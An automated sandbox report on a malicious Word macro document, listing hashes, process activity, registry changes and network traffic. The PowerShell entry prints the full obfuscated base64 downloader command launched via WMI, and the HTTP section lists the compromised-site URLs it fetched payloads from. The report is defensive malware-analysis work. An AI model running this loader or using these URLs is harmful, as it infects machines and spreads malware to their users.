File name:

trust.accs.resourses.doc

Full analysis: https://app.any.run/tasks/18650456-ddc7-4e84-a48a-737ba86ffe74
Verdict: Malicious activity
Analysis date: May 16, 2025, 09:37:58
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
generated-doc
macros
macros-on-open
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Mar 15 16:04:00 2019, Last Saved Time/Date: Fri Mar 15 16:04:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 4, Security: 0
MD5:

57BE28414E61FF58A6B52FC3C1B70B7F

SHA1:

C4FBB54B194C1303897AC869811A274303D27F38

SHA256:

01B1232DEE4AC560BA34061AA65F5DE79C7182DE3B6F313AD1A83C39CE61550C

SSDEEP:

3072:aGcrZTVlaTaTpCq2B2NER5eezeL0rhLq1Hjnu5TUp6Oetdac20y8gmDH1yc:H0Z6TBq2xR5eezP5T6k+mvVyc

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • May hide the program window using WMI (SCRIPT)

      • WINWORD.EXE (PID: 7568)

    • Gets information about running processes via WMI (SCRIPT)

      • WINWORD.EXE (PID: 7568)

    • Script downloads file (POWERSHELL)

      • powershell.exe (PID: 8148)

  • SUSPICIOUS

    • Executed via WMI

      • powershell.exe (PID: 8148)

    • Creates an object to access WMI (SCRIPT)

      • WINWORD.EXE (PID: 7568)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 8148)

  • INFO

    • An automatically generated document

      • WINWORD.EXE (PID: 7568)

    • Disables trace logs

      • powershell.exe (PID: 8148)

    • Checks proxy server information

      • powershell.exe (PID: 8148)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 8148)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Identification: Word 8.0
LanguageCode: English (US)
DocFlags: Has picture, 1Table, ExtChar
System: Windows
Word97: No
Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
Software: Microsoft Office Word
CreateDate: 2019:03:15 16:04:00
ModifyDate: 2019:03:15 16:04:00
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
CharCountWithSpaces: 4
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
LastPrinted: 0000:00:00 00:00:00
RevisionNumber: 1
TotalEditTime: -
Words: -
Characters: 4
Pages: 1
Paragraphs: 1
Lines: 1
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
134
Monitored processes
5
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe powershell.exe conhost.exe no specs ai.exe no specs svchost.exe

Process information

PID
CMD
Path
Indicators
Parent process
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
7216"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "142C49FA-798E-4F7F-A070-21D469D944C3" "852753A7-7E53-4C7A-825C-D75E2C7ED68C" "7568"C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64.
Version:
0.12.2.0
Modules
Images
c:\program files\microsoft office\root\vfs\programfilescommonx64\microsoft shared\office16\ai.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\program files\common files\microsoft shared\clicktorun\c2r64.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ucrtbase.dll
7568"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n C:\Users\admin\trust.accs.resourses.doc /o ""C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
16.0.16026.20146
Modules
Images
c:\program files\microsoft office\root\office16\winword.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\program files\common files\microsoft shared\clicktorun\appvisvsubsystems64.dll
c:\windows\system32\rpcrt4.dll
8148powershell -e IAAoACAAbgBlAFcALQBvAGIAagBlAEMAdAAgACAAaQBPAC4AQwBvAE0AUABSAGUAUwBTAEkATwBOAC4AZABlAEYAbABBAHQAZQBzAFQAcgBFAGEAbQAoACAAWwBJAG8ALgBNAEUAbQBvAHIAeQBTAHQAcgBlAGEAbQBdAFsAcwB5AHMAdABlAE0ALgBDAE8ATgB2AGUAUgB0AF0AOgA6AGYAUgBPAE0AYgBBAFMAZQA2ADQAUwB0AHIASQBuAEcAKAAoACcAVgBaAEYAaABiADUAJwArACcAcwB3ACcAKwAnAEUASQBiAC8AaQBqACcAKwAnADgAZwAnACsAJwBPAFYARQBXAFAAQwBUADIAWQAnACsAJwBVAFYASQB2AFUAJwArACcARABYAFIAcABNACcAKwAnAHEAMABZADYATwAnACsAJwBvAFUAbQBUAE0AWgBmACcAKwAnAGcAQQBUAFkAJwArACcAQwBVADIAaQBpAC8AUABkADUAVgBSACcAKwAnAE0AcAAnACsAJwA5AC8AJwArACcASAAwADMAJwArACcAUAAnACsAJwB1ACcAKwAnACsAZAArAGYAbwAnACsAJwBlACcAKwAnAHYATABpACcAKwAnAEIAJwArACcARQBKADYAJwArACcAbAA0AG8AYwAnACsAJwBOAGgAcwBhAE8ASAAnACsAJwBkAHoAJwArACcANQAnACsAJwB1AHMAbwBEACcAKwAnAFIAVgBPAGEAMQAzACcAKwAnADgAUgBXAEgASQBJAHgAcgAzAEoAeABaAFIAJwArACcASQAxAEcAWgB3AE0AJwArACcAbQB5ACcAKwAnAEoAJwArACcATQBwACcAKwAnAGgAdABsACcAKwAnAE8AVgBNACcAKwAnAGQAMAAnACsAJwBOAFkAeQBVACcAKwAnAGYAegBWACcAKwAnAGgAeQAnACsAJwBvACcAKwAnADEAQgBWAG0AJwArACcAagBkACcAKwAnAGMAdQBFAEsAMwBiAE8AcgAnACsAJwBXACcAKwAnAHYARwAnACsAJwB5ACcAKwAnAGwAWQB2ACcAKwAnAEUAdgAnACsAJwBHAEwAYgBzACcAKwAnADkAZwBPACcAKwAnAGUAcABzAGsAdABjACcAKwAnAE0ASwBpADYAMQBIACcAKwAnAGgAMgBGACsAJwArACcAegBKACcAKwAnAFgAJwArACcAOQA0AHYARQBKADUAMAArAHgANwBSAEsAWABhADQAJwArACcAawB3ACcAKwAnAEsAcgBZACcAKwAnAHcATgB3AGsAJwArACcAeQAnACsAJwBGAEwAJwArACcAUQA2AHMANgAnACsAJwAyAFcASgBoAHcATQB6AFgAKwBYAEwAJwArACcAdABRAHUAWAA1AFQAaAAnACsAJwB4AFYAZgAnACsAJwBEADMAJwArACcAUwBUAEUAJwArACcATQBMACcAKwAnAEMAJwArACcAMgBxAEMAJwArACcAOQBMAEwAQgB0ADgANABWACcAKwAnAHoAZwBZAFgAcAA2ADEAcABSAEwATgBXAEYAJwArACcAcgBWAE8ARgAnACsAJwBQAGUARQAnACsAJwA2AFAAdQBjADkAZAAnACsAJwBJAHMANgBDACcAKwAnADMAZAAnACsAJwBCAGsANAB6AHcASQAnACsAJwBnAGcAUwAnACsAJwBnAFAANgBjAHMAJwArACcATQBIAG8AQwA5ADEAbwAnACsAJwA4AGsAeQBUAFgAYwBwAHkAUQBrADEAUAB0AGkARwB3AE4AcwAnACsAJwBBAEMARAAyAFEAbgBxAEkASQBIADkAbgBIAHMARAAvAEEAeABBADYAcQAnACsAJwBGADUAdgB4AGcASAAnACsAJwA3AHIAdABjADcAJwArACcANgA3ACcAKwAnADIAJwArACcAaQB2ACcAKwAnACsAJwArACcAbgBxAEkAcgBDAGkATABzACcAKwAnADUAJwArACcASQBnADUAMwAnACsAJwB1AGsAWQB0AHEANAAnACsAJwBkAGoAbQBuACcAKwAnAEMAWgBFACcAKwAnAEsAbgBJADUAKwBQAEoAbwAnACsAJwArACcAKwAnAHIAZgAnACsAJwBqACsAVQBOACcAKwAnAHUAcgBDACcAKwAnAGYAVgAnACsAJwBhAEYAJwArACcANQAnACsAJwArAHMAMgAnACsAJwBKACcAKwAnAG4ALwBoAFAANQBzAEwAJwArACcATgAnACsAJwB4AG4AMwAnACsAJwB3AEEAJwArACcAMwAzADYASgBRACcAKwAnAHgAMwAnACsAJwAvAEQANwBMAGQAawBjACcAKwAnAFgAaQBIAHMAJwArACcAMQA2AGEANwBDADkAYwBHACcAKwAnADYAJwArACcARABhAG0AOABxAHMAJwArACcAdAAnACsAJwA0AGoAOABUAC8AYgAnACsAJwBXAHAATABqAFYAcgAzAHEARwBxACsANAAnACsAJwB3ACcAKwAnAEUAbgA5AFoAJwArACcASgBNAEIAMgBPACcAKwAnADIALwBaADcASAAnACsAJwBOAG4ATgBDAGcAcwBGAG4AcgAnACsAJwA0AEgAJwArACcAUQAnACsAJwBTADMAJwArACcASQBqAHEAZQBEAG8AJwArACcANQBNAGsAOABnAEUAMQBsAEkAdAA1AEQAVwBmAGwAMQBiADEAMwA4AD0AJwApACkAIAAsACAAWwBpAE8ALgBDAG8ATQBwAFIAZQBTAHMAaQBvAE4ALgBjAG8AbQBwAFIAZQBzAHMAaQBPAG4AbQBPAEQARQBdADoAOgBEAEUAQwBPAE0AUAByAGUAcwBTACkAfAAlAHsAbgBlAFcALQBvAGIAagBlAEMAdAAgACAASQBPAC4AcwBUAFIAZQBBAE0AUgBlAGEAZABlAFIAKAAgACQAXwAsAFsAdABFAHgAVAAuAEUAbgBjAG8ARABpAE4AZwBdADoAOgBhAHMAQwBpAGkAKQB9AHwAJQAgAHsAIAAkAF8ALgBSAGUAQQBkAHQAbwBlAG4AZAAoACkAfQApAHwAJgAoACAAJAB2AEUAUgBiAG8AUwBFAFAAUgBlAGYARQBSAEUAbgBDAEUALgBUAG8AcwB0AHIAaQBOAEcAKAApAFsAMQAsADMAXQArACcAeAAnAC0AagBvAEkAbgAnACcAKQA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
8156\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
14 864
Read events
14 776
Write events
74
Delete events
14

Modification events

(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems
Operation:delete valueName:6c.
Value:
挶.ᶐ
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Roaming
Operation:writeName:RoamingConfigurableSettings
Value:
DC00000000000000803A0900E907050005001000090026000C00E401000000000000000000000000201C0000201C00008051010080510100805101008051010080F4030080F4030080F403002C01000084030000805101000000000084030000805101000A0000001E0000001E000000000000000000000080510100010000000100000000000000000000000000000000000000008D2700008D2700008D2700010000000A000000805101000000300000003000000030000000000084030000805101001E0000008403000080510100050000000500000005000000
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\7568
Operation:writeName:0
Value:
0B0E1023E325B90BB11146B8903BB6DE34BC21230046CA93BDE4E3C8F1ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DA201C2190000C50E8908C91003783634C511903BD2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems
Operation:writeName:!d.
Value:
21642E00901D000002000000000000003CF7D53D46C6DB01A000000001000000740000002000000063003A005C00700072006F006700720061006D002000660069006C00650073005C006D006900630072006F0073006F006600740020006F00660066006900630065005C0072006F006F0074005C006F0066006600690063006500310036005C00670065006E006B006F002E0064006C006C000000670065006E006B006F002E0063006F006E006E00650063007400310032000000
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.16026&crev=3\0
Operation:writeName:StartDate
Value:
302FD83D46C6DB01
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Word\AddinsData\Genko.Connect12
Operation:writeName:LoadCount
Value:
5
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\AddInLoadTimes
Operation:writeName:Genko.Connect12
Value:
040000007D0000002F0000003F0000001000000000000000
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Word\Resiliency\StartupItems
Operation:delete valueName:!d.
Value:
搡.ᶐ
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\7568
Operation:writeName:0
Value:
0B0E1023E325B90BB11146B8903BB6DE34BC21230046CA93BDE4E3C8F1ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DA200C2190000C50E8908C91003783634C511903BD2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
(PID) Process:(7568) WINWORD.EXEKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\7568
Operation:writeName:0
Value:
0B0E1023E325B90BB11146B8903BB6DE34BC21230046CA93BDE4E3C8F1ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0D2201A200C2190000C50E8908C91003783634C511903BD2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300
Executable files
1
Suspicious files
14
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
7568WINWORD.EXEC:\Users\admin\~$ust.accs.resourses.docbinary
MD5:C2DCD81DDDB9691EBEDCB58B61323A2B
SHA256:6CB45BE10CA1535E1796741FD8C2807C0A88041C0FBD71266DAAFCC7047B50AD
8148powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ud2isgny.i3f.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
7568WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:B9C4B1C04C02C14CDEA4A3311F0D3C06
SHA256:62A2F8A4F6043DC7CEED1E48B18AE0BBAC97BAC9B49FCC58AA88A536F50D127F
7568WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Office\16.0\UsageMetricsStore\FileActivityStoreV3\Word\ASkwMDAwMDAwMC0wMDAwLTAwMDAtMDAwMC0wMDAwMDAwMDAwMDBfTnVsbAA.Sbinary
MD5:A0B4D3B88C1295F6328FC890E210FB8E
SHA256:B7CB0545D528E5E2B87691370B151516C26F4C3EF58D913E3F3067EE30525AB5
7568WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbresbinary
MD5:AACB6391381D3A0EA6A4FE1BE70171C0
SHA256:A672A0C08D5507FF50F3E4FC6F6374B3692AA3B28095441E276611ADEA17FF99
7568WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbresbinary
MD5:57ABDD6698ECC6455D0D1DD5F4A04BBA
SHA256:DC90A72D2DAD64DE9FE8D48877EEB689E7290F792D946D44EA686F4B4F8EEBC8
7568WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\432DD3CKOCB86UUSMVKB.tempbinary
MD5:E4A1661C2C886EBB688DEC494532431C
SHA256:B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
7568WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:DD0D5B4D5E3501EE49788898CA7CC8C8
SHA256:A876CBDB697516A04536446D44C9148B17CC619AD83F13CAE2A2EE2DA5BADC6B
7568WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UFGPJGP1OTSH36HYQR94.tempbinary
MD5:E4A1661C2C886EBB688DEC494532431C
SHA256:B76875C50EF704DBBF7F02C982445971D1BBD61AEBE2E4B28DDC58A1D66317D5
8148powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:34194507D3F11AC7C00F0B4273D71300
SHA256:BEE3CEB8DB32F552A477EFE991F099F2AD172E7450A9B71B2BF1FCBB434013E6
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
43
DNS requests
23
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
8148
powershell.exe
GET
404
49.13.77.253:80
http://dautudatnenhoalac.com/wp-admin/DYAsI/
unknown
—
—
unknown
8148
powershell.exe
GET
404
45.55.127.109:80
http://www.allgreennmb.com/wp-content/themes/pridezz/t9iV/
unknown
—
—
unknown
8148
powershell.exe
GET
404
49.13.77.253:80
http://www.baiduwanba.com/css/Ubh/
unknown
—
—
unknown
8148
powershell.exe
GET
404
49.13.77.253:80
http://www.bewebpreneur.com/wp-admin/daHN/
unknown
—
—
unknown
8148
powershell.exe
GET
404
162.254.39.9:80
http://rileyaanestad.com/wp-includes/DXn1R/
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
5496
MoUsoCoreWorker.exe
4.231.128.59:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2112
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
7568
WINWORD.EXE
52.109.28.46:443
officeclient.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
GB
whitelisted
7568
WINWORD.EXE
52.123.131.14:443
ecs.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted
7568
WINWORD.EXE
23.48.23.42:443
omex.cdn.office.net
Akamai International B.V.
DE
whitelisted
2104
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
7568
WINWORD.EXE
52.109.16.3:443
messaging.lifecycle.office.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.142
whitelisted
settings-win.data.microsoft.com
  • 51.104.136.2
whitelisted
officeclient.microsoft.com
  • 52.109.28.46
whitelisted
ecs.office.com
  • 52.123.131.14
  • 52.123.130.14
whitelisted
omex.cdn.office.net
  • 23.48.23.42
  • 23.48.23.18
  • 23.48.23.30
whitelisted
messaging.lifecycle.office.com
  • 52.109.16.3
whitelisted
dautudatnenhoalac.com
  • 49.13.77.253
unknown
www.bewebpreneur.com
  • 49.13.77.253
unknown
www.allgreennmb.com
  • 45.55.127.109
unknown
www.baiduwanba.com
  • 49.13.77.253
unknown

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
trust.accs.resourses.doc